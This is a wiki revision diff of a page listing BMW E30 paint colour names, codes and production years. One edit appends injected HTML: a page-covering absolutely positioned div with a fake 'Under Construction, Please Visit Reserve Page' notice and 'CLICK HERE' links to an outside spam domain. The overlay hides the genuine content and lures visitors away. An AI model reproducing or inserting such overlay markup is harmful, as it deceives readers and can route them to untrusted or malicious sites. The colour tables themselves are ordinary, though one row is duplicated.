Difference between revisions of "Paint Colour Codes"
From E30 Zone Wiki
m (Protected "Paint Colour Codes": rvv [edit=autoconfirmed:move=autoconfirmed]) |
Ugirylylov (talk | contribs) |
||
Line 1: | Line 1: | ||
− | == E30 Saloon Solid Paint Colour Codes. = | + | >== E30 Saloon Solid Paint Colour Codes. = |
− | {| border= | + | {| border="1" cellpadding="20" cellspacing="0" |
!Colour | !Colour | ||
!Code | !Code | ||
Line 61: | Line 61: | ||
== E30 Saloon Metallic Paint Colour Codes == | == E30 Saloon Metallic Paint Colour Codes == | ||
− | {| border= | + | {| border="1" cellpadding="20" cellspacing="0" |
!Colour | !Colour | ||
!Code | !Code | ||
Line 154: | Line 154: | ||
== E30 Convertible Solid Paint Colour Codes == | == E30 Convertible Solid Paint Colour Codes == | ||
− | {| border= | + | {| border="1" cellpadding="20" cellspacing="0" |
!Colour | !Colour | ||
!Code | !Code | ||
Line 179: | Line 179: | ||
|n/a | |n/a | ||
|} | |} | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ekanixygifa.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]= | ||
+ | ---- | ||
+ | =[http://ekanixygifa.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 01:42, 18 November 2010
>== E30 Saloon Solid Paint Colour Codes. =
Colour | Code | Year |
---|---|---|
Alpinweiss. | 146 | 1982-1985 |
Alpinweiss II | 218 | 1985-1991 |
Atlantisblau | 207 | 1987-1991 |
Brillantrot | 308 | 1988-1991 |
Gazellenbeige | 128 | n/a |
Hennarot | 52 | 1982-1984 |
Karminrot | 172 | n/a |
Karminrot | 172 | n/a |
Lapisblau | 173 | n/a |
Mineralblau | 231 | n/a |
Saturnblau | 176 | 1987-1991 |
Schwarz | 086 | 1984-1988 |
Zinoberrot | 138 | 1984-1988 |
Contents
E30 Saloon Metallic Paint Colour Codes
Colour | Code | Year |
---|---|---|
Arktisblau Metallic | 45 | 1982-1986 |
Bahamabeige Metallic | 170 | 1982-1986 |
Bronzitbeige Metallic | 139 | 1982-1986 |
Burgundrot Metallic | 214 | n/a |
Calypsorot Metallic | 252 | 1987 - 1991 |
Cirrusblau Metallic | 189 | 1987 - 1991 |
Delphin Metallic | 184 | 1985 - 1990 |
Diamantschwarz Metallic | 181 | 1985-1991 |
Gletscherblau Metallic | 280 | 1987 - 1991 |
Granitsilber Metallic | 272 | n/a |
Lachssilber Metallic | 203 | 1986-1989 |
Lagunengrün Metallic | 266 | 1990-1991 |
Lazurblau Metallic | 294 | n/a |
Luxorbeige Metallic | 219 | n/a |
Nerzbraun Metallic | 212 | n/a |
Platanengrün Metallic | 188 | 1984-1986 |
Polaris Metallic | 60 | 1982-1986 |
Royalblau Metallic | 198 | 1987-1991 |
Saphirblau Metallic | 149 | n/a |
Smaragdgrün Metallic | 182 | n/a |
Sterlingsilber Metallic | 244 | 1987-1991 |
E30 Convertible Solid Paint Colour Codes
Colour | Code | Year |
---|---|---|
Alpinweiss II | 218 | 1985 - 1993 |
Atlantisblau | 207 | n/a |
Brillantrot | 308 | 1988 - 1993 |
Schwarz | 86 | 1985 - 1993 |
Vulkangrau | 329 | n/a |